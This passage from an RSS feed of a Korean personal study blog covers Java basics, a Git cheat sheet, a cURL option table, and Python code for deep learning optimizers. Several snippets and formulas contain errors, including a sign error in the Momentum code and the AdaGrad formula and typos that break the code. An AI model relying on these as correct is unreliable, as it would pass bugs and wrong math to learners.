  클래스 변수라고 한다. 클래스 내에서 선언이 이뤄진다는 점에서 인스턴스 변수와 공통점을 가지나 선언부 맨 앞 부분에 <code>static</code>을 붙여주면 된다. 클래스 변수는 모든 인스턴스가 공유하며, <code>클래스명.클래스변수명</code> 형식으로 접근하여 사용 가능하다. 클래스가 메모리에 올라가는 순간 생성된다.</p>
</li>
<li><p><strong>local variable</strong>
  메서드 내에 선언 되어 메서드 내에서만 사용 가능하다.</p>
</li>
</ul>
<h3 id="22-메서드의-선언과-구현">2.2 메서드의 선언과 구현</h3>
<pre><code>반환타입 메서드이름 (매개변수){
    //메서드 호출시 수행될 코드
}</code></pre><h3 id="23-메서드의-호출">2.3 메서드의 호출</h3>
<p>같은 클래스 내의 메서드끼리는 참조변수를 사용하지 않고도 서로 호출이 가능하지만 static메서드는 같은 클래스 내의 인스턴스 메서드를 호출할 수 없다.</p>
<blockquote>
<p><strong>매개변수의 유효성 검사</strong>
타입만 맞으면 어떤 값도 매개변수를 통해 넘어올 수 있기 떄문에, 가능한 모든 경우의 수에 대해 고민하고 이에 대비해야한다. 예를 들어 0으로 나누는 일이 발생하지 않도록 신경써주어야 한다.</p>
</blockquote>
<h3 id="24-jvm-메모리-구조">2.4 JVM 메모리 구조</h3>
<h4 id="메서드-영역">메서드 영역</h4>
<p> 프로그램 실행 중 클래스가 사용되면 클래스 데이터가 여기에 저장된다.</p>
<h4 id="힙">힙</h4>
<p> 인스턴스가 생성되는 공간이다.</p>
<h4 id="호출스택">호출스택</h4>
<p> 메서드가 호출되면 메서드의 작업에 필요한 메모리 공간이 이곳에 할당된다. 작업이 끝나면 할당된 메모리는 모두 반환되어 지워진다.</p>
<h3 id="25-기본형-매개변수와-참조형-매개변수">2.5 기본형 매개변수와 참조형 매개변수</h3>
<blockquote>
<ol>
<li>기본형 매개변수는 값을 읽기만 할 수 있다.</li>
<li>참조형 매개변수는 변수의 값을 읽고 변경할 수 있다.</li>
</ol>
</blockquote>
<p>하지만 메서드를 통해 매개변수의 값을 변경 할 떄 주의해야할 점이 있다. 바로 메서드를 정의할 때, 기본형 매개변수를 설정하면 변경이 불가능하다는 것이다. 따라서 참조형 매개변수 혹은 배열 자료형을 통해 변경하고자 하는 값의 주소를 넘길 수 있도록 하자.
C 언어에서도 이와 유사한 인사이트가 있다. <a href="https://velog.io/@chris-mk/C-%ED%8F%AC%EC%9D%B8%ED%84%B0#4-%EB%A7%A4%EA%B0%9C%EB%B3%80%EC%88%98%EB%A1%9C%EC%84%9C%EC%9D%98-%ED%8F%AC%EC%9D%B8%ED%84%B0">참고</a></p>
<p>참조형 매개변수를 이용하여 반환값, 즉 return문이 없더라도 메서드 실행결과를 받아올 수 있다.</p>
<h3 id="26-참조형-반환-타입">2.6 참조형 반환 타입</h3>
<blockquote>
<p>반환타입을 참조형으로 정의함으로써, 메서드는 객체의 주소를 반환할 수 있다.</p>
</blockquote>
<h3 id="27-클래스-메서드와-인스턴스-메서드">2.7 클래스 메서드와 인스턴스 메서드</h3>
<p>인스턴스 메서드는 인스턴스 변수와 관련된 작업을 하는 메서드다. 그리고 인스턴스 변수와 관계없는 메서드를 클래스 메서드로 정의한다.</p>
<blockquote>
<ol>
<li>클래스를 설계할 때, 멤버변수 중 모든 인스턴스에 공통으로 사용하는 것에 <code>static</code>을 붙여 클래스 변수로 정의한다.</li>
<li>클래스 변수는 인스턴스를 생성하지 않아도 사용할 수 있다.</li>
<li>클래스 메서드는 인스턴스 변수를 사용할 수 없다.</li>
<li>메서드 내에서 인스턴스 변수를 사용하지 않는다면, <code>static</code>을 붙이는 것을 고려한다.</li>
</ol>
</blockquote>
<h3 id="28-클래스-멤버와-인스턴스-멤버간의-참조와-호출">2.8 클래스 멤버와 인스턴스 멤버간의 참조와 호출</h3>
<p>이 경우에도 클래스 멤버는 인스턴스 멤버를 참조하거나 호출할 수없다. 다만 클래스 멤버는 호출할 수 있다.</p>
<h2 id="3-오버로딩overloading">3. 오버로딩(overloading)</h2>
<h3 id="31-의미">3.1 의미</h3>
<p>자바에서는 한 클래스 내에 이미 사용하려는 이름과 같은 이름을 가진 메서드가 있더라도 매개변수의 개수 또는 타입이 다르면 같은 이름을 사용해서 메서드를 정의할 수 있다.</p>
<h3 id="32-조건">3.2 조건</h3>
<blockquote>
<ol>
<li>메서드 이름이 같다.</li>
<li>매개변수의 개수 또는 타입이 달라야한다.</li>
</ol>
</blockquote>
<h3 id="33-가변인자varargs와-오버로딩">3.3 가변인자(varargs)와 오버로딩</h3>
<pre><code>public PrintStream printf(String format, Object... args)</code></pre><p>여기서 주의해야하는 점은 가변인자를 사용한 메서드는 오버로딩 해선 안된다는 점이다. 왜냐하면 가변인자로 인해 매개변수의 개수를 구분할 길이 없어지기 때문이다.</p>
<h2 id="4-생성자constructor">4. 생성자(Constructor)</h2>
<h3 id="41-의미">4.1 의미</h3>
<p>생성자란 인스턴스 초기화 메서드다. 생성자의 조건은 다음과 같다.</p>
<blockquote>
<ol>
<li>생성자의 이름은 클래스의 이름과 같아야 한다.</li>
<li>생성자는 리턴 값이 없다.</li>
</ol>
</blockquote>
<p>단 연산자 <code>new</code>가 인스턴스를 생성하는 것이다. <strong>생성자</strong>는 인스턴스 변수 초기화에 사용된다.</p>
<h3 id="42-기본-생성자">4.2 기본 생성자</h3>
<p>그런데 이상하다. 여태까지 별도로 생성자를 클래스 내에 정의한 적이 없는데 인스턴스를 생성해왔다.  왜냐하면 컴파일러가 <strong>기본 생성자</strong>를 제공하기 때문이다.
하지만 기본 생성자는 클래스에 정의된 생성자가 하나도 없을 때 뿐이므로 임의로 생성자를 정의했다면 이후 코드에서는 기본생성자를 작성하면 에러가 발생할 것이다.</p>
<h3 id="43-매개변수가-있는-생성자">4.3 매개변수가 있는 생성자</h3>
<p>본인이 직접 매개변수를 전달받는 생성자를 추가로 정의할 수 있다.</p>
<h3 id="44-생성자에서-다른-생성자-호출--this-this">4.4 생성자에서 다른 생성자 호출 -this(), this</h3>
<p>생성자 내에서 다른 생성자를 호출 할 수 있다. 하지만</p>
<blockquote>
<ol>
<li>생성자의 이름으로 this를 사용해야하며</li>
<li>한 생성자 내에서 다른 생성자를 호출할 떄, 반드시 첫 줄에서만 호출 할 수 있다.</li>
</ol>
</blockquote>
<p>그 밖에 Python 처럼 인스턴스 변수의 경우 <code>this.instance_varialbe</code> 형식으로 접근할 수 있다.</p>
<h3 id="45-생성자를-이용한-인스턴스의-복사">4.5 생성자를 이용한 인스턴스의 복사</h3>
<pre><code>Car(Car c){
    color = c.color;
    gearType = c.gearType;
    door = c.door;
}</code></pre><p><code>Car</code> 클래스의 생성자이나, <code>Car c</code>를 매개변수로 받으므로 다른 <code>Car</code>클래스 생성자와 구분된다. 즉 <code>Car</code> 클래스 인스턴스를 매개변수로 받아 새로운 <code>Car</code>클래스 인스턴스를 생성하는 것이다.</p>
<p>인스턴스를 생성할 때는 다음 2가지 사항을 결정해야한다.</p>
<blockquote>
<ol>
<li>클래스 - 어떤 클래스의 인스턴스를 생성할 것인가?</li>
<li>생성자 - 선택한 클래스의 어떤 생성자로 인스턴스를 생성할 것인가?</li>
</ol>
</blockquote>
<h2 id="5-변수의-초기화">5. 변수의 초기화</h2>
<h3 id="51-중요한-이유">5.1 중요한 이유</h3>
<p>변수라는 것은 가능하면 선언과 동시에 적절한 값으로 초기화 하는 것이 바람직하다.
<strong>멤버변수는 초기화를 하지 않아도, 자료형에 맞는 기본값으로 초기화된다. 하지만, 지역변수는 사용하기 전에 반드시 초기화해야 한다.</strong></p>
<blockquote>
<p><strong>멤버변수 초기화 방법</strong></p>
</blockquote>
<ol>
<li>명시적 초기화(explicit initialization)</li>
<li>생성자(constructor)</li>
<li>초기화 블럭</li>
</ol>
<h3 id="52-명시적-초기화">5.2 명시적 초기화</h3>
<p>변수의 선언과 동시에 초기화하는 것을 명시적 초기화라고 한다. 간단하지만 복잡한 초기화 작업은 <strong>초기화 블럭</strong> 또는 생성자를 이용해야한다.</p>
<h3 id="53-초기화-블럭">5.3 초기화 블럭</h3>
<p>초기화 블럭은 두 가지로 나뉜다</p>
<blockquote>
<ol>
<li>클래스 초기화 블럭: 클래스 변수 초기화</li>
<li>인스턴스 초기화 블럭: 인스턴스 변수 초기화</li>
</ol>
</blockquote>
<pre><code>{
    count++;
    instance_variable = count;
}
static{
    count++;
    class_variable = count;
}</code></pre><p>클래스 초기화 블럭은 클래스가 메모리에 올라갈 때에 한 번 실행되고, 인스턴스 초기화 블럭은 인스턴스가 생성될 때마다 실행된다. 그리고 생성자보다 인스턴스 초기화 블럭이 먼저 수행된다.</p>
<h3 id="54-초기화-순서-정리">5.4 초기화 순서 정리</h3>
<h4 id="클래스변수-초기화-순서">클래스변수 초기화 순서</h4>
<p>기본값 - 명시적 초기화 - 클래스 초기화 블럭</p>
<h4 id="인스턴스변수-초기화-순서">인스턴스변수 초기화 순서</h4>
<p>기본값 - 명시적 초기화 - 인스턴스 초기화 블럭 - 생성자</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[JAVA - 1]]></title>
            <link>https://velog.io/@chris-mk/JAVA-1</link>
            <guid>https://velog.io/@chris-mk/JAVA-1</guid>
            <pubDate>Mon, 20 Jan 2025 05:17:13 GMT</pubDate>
            <description><![CDATA[<h2 id="1-서론">1. 서론</h2>
<p>본인은 Python을 조금 쓸 줄 알고, C언어는 실제로 사용할 줄 아는정도는 아니고, 예전에 관련 책의 번역하면서 개념을 공부한 정도다.<del>만약 해당 책이 한글로 번역되어 정식 출간된다면 비공개전환 예정</del>(<a href="https://velog.io/@chris-mk/C-%EA%B8%B0%EC%B4%88">해당글</a>)
Booki라는 가계부 작성 프로젝트를 JAVA를 통해 진행할 예정이기에, 엄청 자세한 내용을 여기에 담지는 않았다. 다시말해 노트 필기를 여기에 작성한 것이라고 이해해주면 된다. 참고한 책은 남궁 성님의 &quot;자바의 정석 3rd Edition&quot;이다.</p>
<h2 id="2-변수variable">2. 변수(Variable)</h2>
<h3 id="21-변수의-타입">2.1 변수의 타입</h3>
<h4 id="211-출력">2.1.1 출력</h4>
<p>자바에서도 파이썬의 <code>print()</code> 처럼 형식화된 출력을 수행할 수 있다. 지시자(specifier)를 활용하면 변수등을 담아서 출력할 수 있다. 다음은 그 예시다.</p>
<pre><code>System.out.printf(&quot;finger = [%5d]&quot;, finger) // finger = [     10]</code></pre><p>지시자 <code>%x</code>, <code>%o</code> 에서 <code>%</code>바로 뒤에 <code>#</code>을 끼워넣으면 접두사 <code>&#39;0x&#39;</code>와 <code>&#39;0o&#39;</code>가 붙는다. 참고로 10진수를 2진수로 변환해주는 지시자는 없다.(<code>Integer.toBinarySString(binNum)</code>을 사용해야한다.)</p>
<p>파이썬에서는 <code>char</code> 형에 지시자 <code>%d</code>를 쓰면 알아서 정수값으로 변환해주었겠지만, 자바에서는 변수 앞에 <code>(int)c</code> 와 같이 캐스팅(casting)을 수행해주어야 한다. 지시자의 종류는 서칭하면 잘 나온다.
파이썬과 마찬가지로 <code>%14.10f</code>는 14자리 중 소수점 아래 10자리라는 뜻이다. 그 밖에 지시자의 활용에 관해서는 파이썬과 거의 유사하다.(공백, 채우기 등등)</p>
<h4 id="212-입력---scanner">2.1.2 입력 - Scanner</h4>
<p>자바에서는 Scanner 클래스를 통해 입력을 받을 수 있다. 먼저
<code>import java.util.*;</code>를 추가해주고,
<code>Scanner scanner = new Scanner(System.in);</code>을 통해 Scanner클래스를 생성해준다.</p>
<p>다음은 입력대기 상태에서 입력을 마치고 엔터키를 누르면 입력한 내용이 문자열로 반환되는 코드다.</p>
<pre><code>String input = scanner.nextLine(); // 입력 내용을 input에 저장
int num = Integer.parseInt(input); // 입력 내용을 int로 변환</code></pre><p>사실 변환없이 숫자로 입력받는 메서드들이 Scanner클래스 내에 있지만 화면에서 연속적으로 값을 입력받으므로 사용하기에 까다롭다.</p>
<h3 id="22-기본형primitive-type">2.2 기본형(primitive type)</h3>
<h4 id="221-불린---boolean">2.2.1 불린 - boolean</h4>
<pre><code>boolean power = true;
boolean checked = False; // false로 바뀌어야 한다. 대소문자 구분이 이뤄진다.</code></pre><p>파이썬과의 차이점이라면 첫 글자가 대문자냐 아니냐 정도의 차이다.</p>
<h4 id="222-문자형---char">2.2.2 문자형 - char</h4>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/77441b0b-96cc-4f89-a306-642074968f03/image.png" alt=""></p>
<h4 id="223-정수형">2.2.3 정수형</h4>
<p><code>byte</code> - <code>short</code> - <code>int</code> - <code>long</code> 순으로 1, 2, 4, 8바이트의 크기를 같는 정수형이다. 접미사가 없는 정수의 경우 기본적으로 <code>int</code>로 처리한다.</p>
<h4 id="224-실수형">2.2.4 실수형</h4>
<p><code>float</code> - <code>double</code> 순으로 4, 8바이트의 크기를 가지고 각각 7자리, 15자리의 정밀도를 가지고 있다.</p>
<h3 id="23-형변환">2.3 형변환</h3>
<p><code>(int)</code>, <code>(float)</code> 과 같은 형태로 변수 또는 상수의 타입(type)을 다른 타입으로 변환할 수 있다. 다만 이 경우, 자료형의 크기 차이로 인한 loss of data가 발생할 수 있다.
자바는 아니지만 형변환에 관한 insight를 다룬 <a href="https://velog.io/@chris-mk/C%EC%9E%90%EB%A3%8C%ED%98%95-%ED%98%95%EB%B3%80%ED%99%98">글</a>이 있다. 자세한 원리가 적혀있지는 않지만 해당 글의 키워드를 구글링한다면 형변환에 관한 다양한 내용을 찾을 수 있을 것이다.</p>
<blockquote>
<ol>
<li>boolean을 제외한 나머지 7개의 기본형은 서로 형변환이 가능하다.</li>
<li>기본형과 참조형은 서로 형변환할 수 없다.</li>
<li>서로 다른 타입의 변수간의 연산은 형변환을 하는 것이 원칙이지만, 값의 범위가 작은 타입에서 큰 타입으로의 형변환은 생략할 수 있다.</li>
</ol>
</blockquote>
<h2 id="3-연산자operator">3. 연산자(Operator)</h2>
<p>C와 연산자의 활용이 거의 비슷하다.<del>물론 찾아보면 사소한 부분에서 다른게 잔뜩 있는거 같다.</del> GPT에게 물어본 대표적인 차이점은 다음과 같다.
<img src="https://velog.velcdn.com/images/chris-mk/post/5ab353d1-e3e5-489e-8cf1-7b3fa2eb861b/image.png" alt=""></p>
<h2 id="4-제어문">4. 제어문</h2>
<h3 id="41-조건문">4.1 조건문</h3>
<p> <a href="https://velog.io/@chris-mk/C-%EC%84%A0%ED%83%9D%EB%AC%B8">여기</a>를 참고하자.</p>
<h3 id="42-반복문">4.2 반복문</h3>
<p> for, while, do-while문이 있다. 기본적인 개념은 <a href="https://velog.io/@chris-mk/C-%EB%B0%98%EB%B3%B5%EB%AC%B8">여기</a>를 참고하자. </p>
<h4 id="향상된-for문">향상된 for문</h4>
<pre><code>int[] arr = {10, 20, 30, 40, 50};

for(int tmp : arr){
    System.out.println(tmp); // 10 20 30 40 50
}</code></pre><h4 id="이름-붙은-반복문">이름 붙은 반복문</h4>
<pre><code>Loop1 : for(int i=2;i &lt;=9;i++){
    for(int j=1;j &lt;=9;j++){
        if(j==5)
            break Loop1;
        ...
    }
    ...
}</code></pre><h2 id="5-배열array">5. 배열(Array)</h2>
<h3 id="51-배열의-선언과-생성">5.1 배열의 선언과 생성</h3>
<pre><code>타입[] 변수이름; // 배열을 다루기 위한 참조변수 선언 &#39;[]`는 변수이름 뒤에 붙여도 된다.
변수이름 = new 타입[길이];
타입[] 변수이름 = new 타입[길이] // 선언과 생성을 동시에</code></pre><h3 id="52-배열의-길이">5.2 배열의 길이</h3>
<p>배열의 길이는 <code>변수이름.length</code>다. 이는 상수이므로 변경이 불가능하다. 배열의 길이를 변경하는 방법은 더 큰 배열을 새로 생성하고, 기존 배열의 내용을 새로운 배열에 복사하는 것이다.</p>
<h3 id="53-배열의-초기화">5.3 배열의 초기화</h3>
<pre><code>int[] score = new int[]{50, 60, 70, 80, 90}; // 잘 보면 길이정보를 생략하고 선언, 생성, 초기화까지 할 수 있다.

int add(int[] arr){ /*내용 생략*/}

int result = add(new int[]{50, 60, 70, 80, 90}); //new int[]는 생략할 수 없다.</code></pre><h3 id="54-배열의-출력">5.4 배열의 출력</h3>
<ul>
<li><code>Arrays.toStrint(배열이름)</code>은 배열의 모든 요소를 <code>[요소, 요소, 요소, ..., 요소]</code> 형태의 문자열로 변환해주는 메서드다.</li>
<li><code>배열이름</code>을 매개변수로 출력 메서드에 전달하면, <code>타입@주소</code> 형식으로 출력된다. 참고로 <code>char</code> 배열의 경우에는 각 요소가 구분자 없이 그대로 출력된댜.</li>
</ul>
<h3 id="55-배열의-복사">5.5 배열의 복사</h3>
<ul>
<li>(1)임시 배열 <code>tmp</code>를 선언한다. (2) for문을 이용해 요소 하나하나를 tmp 배열에 복사한다. (3) <code>기존배열=tmp</code>를 통해 기존 배열이 새롭게 생성된 배열의 주소를 참조하도록 한다.</li>
<li><code>System.arraycopy()</code>를 이용하여 배열을 복사한다. 이게 위의 방법보다 더 효율적이다.
(<code>System.arraycopy(num, 0, newNum, 0, num.length);</code> = num[0]부터 num[num.length]까지 newNum[0]에 붙여넣기 시작함.)</li>
</ul>
<h3 id="56-string-배열">5.6 String 배열</h3>
<p>스트링 배열의 선언과 생성, 초기화는 기본형 배열과 다르지 않다.
하지만 String 클래스만이 new 연산자를 생략해서 간단히 표현하는게 가능하다.</p>
<pre><code>String[] name = new String[]{&quot;Kim&quot;, &quot;Park&quot;, &quot;Yi&quot;};
String[] name = {&quot;Kim&quot;, &quot;Park&quot;, &quot;Yi&quot;};</code></pre><p>이때, <code>name</code> 배열에는 &quot;Kim&quot;이 아니라 &quot;Kim&quot;이 저장된 메모리 주소를 담고 있다. 즉 <code>name</code>은 &quot;Kim&quot;, &quot;Park&quot; 등이 위치한 메모리 주소를 담고있는 메모리의(?) 주소를 담고 있는 것이다.(이중으로 참조하는 것임) 이를 <strong>객체 배열</strong> 이라 한다.</p>
<h3 id="57-char배열과-string클래스">5.7 char배열과 String클래스</h3>
<ul>
<li>사실 String클래스는 char배열에 기능(메서드)를 추가한 것이다.</li>
<li>char배열과 String클래스의 중요한 차이점은, String객체는 읽을 수 있을 뿐 내용의 변경이 불가능하다.<del>변경 가능한 문자열은 StringBuffer클래스를 사용하면 된다.</del></li>
</ul>
<p>char배열과 String클래스간의 변환 예시는 다음과 같다.</p>
<pre><code>char[] chArr = {&#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;};
String str = new String(chArr);
char[] tmp = str.toCharArray(str)</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[Git/Github Cheat Sheet]]></title>
            <link>https://velog.io/@chris-mk/GitGithub-Cheat-Sheet</link>
            <guid>https://velog.io/@chris-mk/GitGithub-Cheat-Sheet</guid>
            <pubDate>Fri, 29 Nov 2024 09:17:39 GMT</pubDate>
            <description><![CDATA[<p>참고자료 : <a href="https://education.github.com/git-cheat-sheet-education.pdf">Git CheatSheet</a></p>
<h2 id="1-set-up--init">1. Set Up / Init</h2>
<p><code>git config --global user.email &quot;[valid-email]&quot;</code>: 이메일 기준으로 유저 정보 설정
<code>git init</code> : 현재 디렉토리를 repository로 초기화
<code>git clone [url]</code>: repository 전체를 URL을 통해 획득</p>
<h2 id="2-stage--snapshot">2. Stage &amp; Snapshot</h2>
<p><code>git status</code> 작업중인 디렉토리에서 수정된 파일, 커밋을 기다리는 스태이징 된 파일을 볼 수 있음.
<code>git add [file]</code>: 해당 파일 스테이징
<code>git reset [file]</code>: 해당 파일의 스테이징을 취소함, 단 작업중인 디렉토리에서의 변경사항은 유지함.
<code>git diff --staged</code>: 스테이징된 파일의 차이점 확인
<code>git commit -m &quot;[descriptive message]&quot;</code>: 메시지와 함께 커밋</p>
<h2 id="3-branch--merge">3. Branch &amp; Merge</h2>
<p><code>git branch</code>: 브랜치 리스트 나열
<code>git branch [branch-name]</code>: 현재 커밋에서 새로운 브랜치 생성
<code>git checkout</code>: 체크아웃 수행
<code>git merge[branch]</code>: 특정 브랜치를 현재 브랜치에 합친다.
<code>git log</code>: 현재 브랜치에서의 모든 커밋 내역 확인</p>
<p><code>-r</code>: 원격 저장소 브랜치 리스트
<code>-a</code>: 원격/지역 저장소 브랜치 리스트
<code>git checkout -t &lt;remote_branch&gt;</code>: 원격 브랜치 로컬에 적용</p>
<h2 id="4-remote">4. Remote</h2>
<p><code>git remote add &lt;name&gt; &lt;remote_repository_address&gt;</code>: 원격 저장소 연결(사전에 지역 저장소를 생성해야한다.)</p>
<p><code>git -u &lt;remote_repository&gt; &lt;branch&gt;</code>: 지역 저장소의 브랜치를 원격 저장소의 특정 브랜치로 푸쉬. 로그인을 할 때, 비밀번호는 원격저장소 생성시 발급받은 토큰을 사용해야한다. <del>이 비번은 반드시 잘 보관해야한다. 다시 발급하기 귀찮</del> 
이후에는 <code>git push</code> 만으로도 푸쉬를 수행할 수 있다.</p>
<p><code>git pull &lt;remote_repository&gt; &lt;branch&gt;</code>: 원격저장소의 변경 사항을 지역저장소로 가져오기.
역시나 한번 저장소끼리 연결되면 <code>git pull</code> 만으로도 수행 가능하다.</p>
<p><code>git remote ubdate</code>: 원격 브랜치 정보 갱신</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Cheat Sheet - Web request(cURL)]]></title>
            <link>https://velog.io/@chris-mk/Cheat-Sheet-Web-requestcURL</link>
            <guid>https://velog.io/@chris-mk/Cheat-Sheet-Web-requestcURL</guid>
            <pubDate>Fri, 29 Nov 2024 07:59:38 GMT</pubDate>
            <description><![CDATA[<h2 id="1-curl">1. cURL</h2>
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>curl -h</td>
<td>help menu</td>
</tr>
<tr>
<td>curl &lt;Target address&gt;</td>
<td>Basic GET method</td>
</tr>
<tr>
<td>curl -s -O &lt;directory&gt;</td>
<td>Download file</td>
</tr>
<tr>
<td>-k</td>
<td>Skip HTTPS</td>
</tr>
<tr>
<td>~~ -v</td>
<td>Print full HTTP details</td>
</tr>
<tr>
<td>-I ~~</td>
<td>Send HEAD request</td>
</tr>
<tr>
<td>-i ~~</td>
<td>Print response headers and response body</td>
</tr>
<tr>
<td>~~ -A &#39;Mozilla/5.0&#39;</td>
<td>Set User-Agent header</td>
</tr>
<tr>
<td>-u &lt;id&gt;:&lt;pw&gt; ~~</td>
<td>Set HTTP basic authorization credentials</td>
</tr>
<tr>
<td>http://&lt;id&gt;:&lt;pw&gt;@~~</td>
<td>Same above</td>
</tr>
<tr>
<td>-H &#39;&lt;Header&gt;: &lt;Value&gt;&#39;</td>
<td>Set request header</td>
</tr>
<tr>
<td>-X</td>
<td>Send Other HTTP Method(DELETE, POST, ...)</td>
</tr>
<tr>
<td>-b &#39;&lt;cookie_parameter&gt;:<Value>&#39; ~~</td>
<td>Set request cookies</td>
</tr>
<tr>
<td>|jq</td>
<td>read data in JSON form</td>
</tr>
<tr>
<td>-s</td>
<td>silent mode</td>
</tr>
</tbody></table>
]]></description>
        </item>
        <item>
            <title><![CDATA[[딥러닝] 학습 기술들]]></title>
            <link>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%ED%95%99%EC%8A%B5-%EA%B8%B0%EC%88%A0%EB%93%A4</link>
            <guid>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%ED%95%99%EC%8A%B5-%EA%B8%B0%EC%88%A0%EB%93%A4</guid>
            <pubDate>Thu, 21 Nov 2024 10:46:16 GMT</pubDate>
            <description><![CDATA[<h2 id="1-매개변수-갱신-방법">1. 매개변수 갱신 방법</h2>
<h3 id="11-확률적-경사-하강법sgd">1.1 확률적 경사 하강법(SGD)</h3>
<h4 id="111-파이썬-클래스-구현">1.1.1 파이썬 클래스 구현</h4>
<p>확률적 경사 하강법을 파이썬 클래스로 구현하면 다음과 같다.</p>
<pre><code>class SGD:
    def __init__(self, lr=0.01)
        self.lr = lr

    def ubdate(self, params, grads):
        for key in params.keys():
            params[key] -= self.lr * grads[key]</code></pre><h4 id="112-sgd의-단점">1.1.2 SGD의 단점</h4>
<p>하지만 문제에 따라서 SGD가 비효율적일 수 있다. 예를 들어 다음과 같은 함수
$$
f(x,y) = \frac{1}{20}x^2+y^2
$$
의 경우 3차원 공간에서 bowl을 x축 방향으로 길게 늘린 모양이다. 이런 함수, 즉 <strong>비등방성(anisotropy)</strong> 함수에서는 탐색 경로가 비효율적이게 된다. 왜냐하면 임의 지점의 기울기가 최솟값의 위치를 가리키지 않기 때문이다.(이 경우 최적화 갱신경로는 지그재그로 움직이게 된다.)</p>
<h3 id="12-모멘텀">1.2 모멘텀</h3>
<p><strong>모멘텀(momentum)</strong> 기법은 위의 SGD의 단점을 보완해준다. 모멘텀 기법은 수식으로 다음과 같이 나타낼 수 있다.
$$
v\leftarrow\alpha v - \eta\frac{\partial L}{\partial W}\
$$
$$
W \leftarrow W + v
$$</p>
<p>파이썬으로는 다음과 같이 구현할 수 있다.</p>
<pre><code>class Momentum:
    def __init__(self, lr=0.01, momentum=0.9):
        self.lr = lr
        slef.momentum = momentum
        self.v = None

    def ubdate(self, params, grads):
        if self.v is None:
            self.v = {}
            for key, val in parrams.items():
                self.v[key] = np.zeros_like(val)

            for key in params.keys():
                self.v[key] = self.momentum*self.v[key] + self.lr*grads[key]
                params[key] += self.v[key]</code></pre><p>이미지로 최적화 갱신 경로를 나타내면 다음과 같다.
<img src="https://velog.velcdn.com/images/chris-mk/post/c0a63cd5-fef8-4641-bd14-edf3862608b7/image.png" alt=""></p>
<h3 id="13-adagrad">1.3 AdaGrad</h3>
<p>적절한 학습률의 결정은 매우 중요하다. 너무 작으면 학습시간이 길어지고, 너무 커지면 자칫 발산할 수 있기 때문이다. 따라서 <strong>학습률 감소(learning rate decay)</strong> 이란 기술을 사용하기도 한다. <strong>AdaGrad</strong>는 &#39;각각의&#39; 매개변수에 &#39;맞춤형&#39; 값을 만들어 준다.
$$
h\leftarrow h - \frac{\partial L}{\partial W}\odot\frac{\partial L}{\partial W}\
$$
$$
W\leftarrow W - \eta\frac{1}{\sqrt h}\frac{\partial L}{\partial W}
$$</p>
<p>$h$에 기존 기울기 값을 제곱하여 계속 더해준다. 그리고 매개변수를 갱신할 떄 학습률을 조정한다. 이 식에 따르면 매개변수의 원소 중에서 많이 움직인 원소는 학습률이 낮아진다.</p>
<p>파이썬 클래스로는 다음과 같이 구현할 수 있다.</p>
<pre><code>class AdaGrad:
    def __init__(self, lr=0.01):
        self.lr = lr
        self.h = None

    def update(self, params, grads):
        if self.h = None:
            self.h = {}

            for key, val in params.items():
                self.h[key] = np.zeros_like(val)

        for key in params.keys():
            self.h[key] += grads[key]*grads[key]
            params[key] -= self.lr * grads[key] / (np.sqrt(self.h[key]) + 1e-7)</code></pre><p>최적화 갱신경로는 다음과 같다.</p>
<img src='https://velog.velcdn.com/images/chris-mk/post/cef68536-cd51-4380-ae83-7e469b0b8245/image.png' width='50%' height='50%'>


<h3 id="14-adam">1.4 Adam</h3>
<p>Adam은 AdaGrad와 모멘텀, 두 기법을 융합한 방법이라고 생각하면 이해하기 쉽다. 파이썬을 통한 예시 코드는 다음과 같다.</p>
<pre><code>class Adam:

    &quot;&quot;&quot;Adam (http://arxiv.org/abs/1412.6980v8)&quot;&quot;&quot;

    def __init__(self, lr=0.001, beta1=0.9, beta2=0.999):
        self.lr = lr
        self.beta1 = beta1
        self.beta2 = beta2
        self.iter = 0
        self.m = None
        self.v = None

    def update(self, params, grads):
        if self.m is None:
            self.m, self.v = {}, {}
            for key, val in params.items():
                self.m[key] = np.zeros_like(val)
                self.v[key] = np.zeros_like(val)

        self.iter += 1
        lr_t  = self.lr * np.sqrt(1.0 - self.beta2**self.iter) / (1.0 - self.beta1**self.iter)         

        for key in params.keys():
            #self.m[key] = self.beta1*self.m[key] + (1-self.beta1)*grads[key]
            #self.v[key] = self.beta2*self.v[key] + (1-self.beta2)*(grads[key]**2)
            self.m[key] += (1 - self.beta1) * (grads[key] - self.m[key])
            self.v[key] += (1 - self.beta2) * (grads[key]**2 - self.v[key])

            params[key] -= lr_t * self.m[key] / (np.sqrt(self.v[key]) + 1e-7)

            #unbias_m += (1 - self.beta1) * (grads[key] - self.m[key]) # correct bias
            #unbisa_b += (1 - self.beta2) * (grads[key]*grads[key] - self.v[key]) # correct bias
            #params[key] += self.lr * unbias_m / (np.sqrt(unbisa_b) + 1e-7)</code></pre><p>최적화 갱신경로는 다음과 같이 나타난다.
<img src='https://velog.velcdn.com/images/chris-mk/post/52f97a4b-2f32-49f6-8567-db954ed5e055/image.png' width='50%' height='50%'></p>
<h2 id="2-가중치-초깃값">2. 가중치 초깃값</h2>
<h3 id="21-초깃값-0">2.1 초깃값 0</h3>
<p>초깃값을 모두 0으로 설정하는 경우 오차 역전파법에서 모든 가중치의 값이 똑같이 갱신되기 때문이다. 즉 순전파의 결과가 모두 같아지기 떄문에 역전파에 의한 가중치 갱신도 똑같이 이뤄진다는 뜻이다. 이를 막기위해 초깃값은 무작위로 설정되어야 한다.(ex. <code>np.random.randn(10,100)</code>)</p>
<h3 id="22-은닉층의-활성화값-분포">2.2 은닉층의 활성화값 분포</h3>
<h4 id="221-xavier-초깃값">2.2.1 Xavier 초깃값</h4>
<p>시그모이드 함수가 사용될 때, 표준편차가 너무 크면 <strong>기울기 소실</strong>이, 너무 작으면 활성화 값이 치우쳐져 <strong>표현력이 제한</strong>된다. 이에 사비에르 그로로트와 요슈아 벤지오는 앞 계층의 노드가 $n$개인 경우, 표준편차가 $\frac{1}{\sqrt n}$인 분포를 사용하면 된다는 결론을 이끌어 냈다. 이를 <strong>Xavier 초깃값</strong>이라고 한다.</p>
<h4 id="222-he-초깃값">2.2.2 He 초깃값</h4>
